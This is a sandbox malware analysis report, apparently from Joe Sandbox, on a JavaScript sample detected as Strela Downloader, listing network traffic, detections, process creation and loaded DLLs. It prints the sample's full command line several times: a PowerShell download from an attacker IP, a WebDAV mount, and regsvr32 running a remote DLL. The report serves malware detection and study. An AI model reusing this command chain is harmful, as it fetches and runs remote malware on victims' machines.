Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1427367506.000002261213C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1503585580.0000026E816A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1503585580.0000026E81668000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1503585580.0000026E816BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1503585580.0000026E81668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spacer
Source: svchost.exe, 00000009.00000002.2704240204.0000020A27400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1507576701.0000020A272F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7896, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3097128047142338539.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_huzl55kf.qfk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3097128047142338539.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,7262053184488957901,7837497832491367870,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,7262053184488957901,7837497832491367870,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
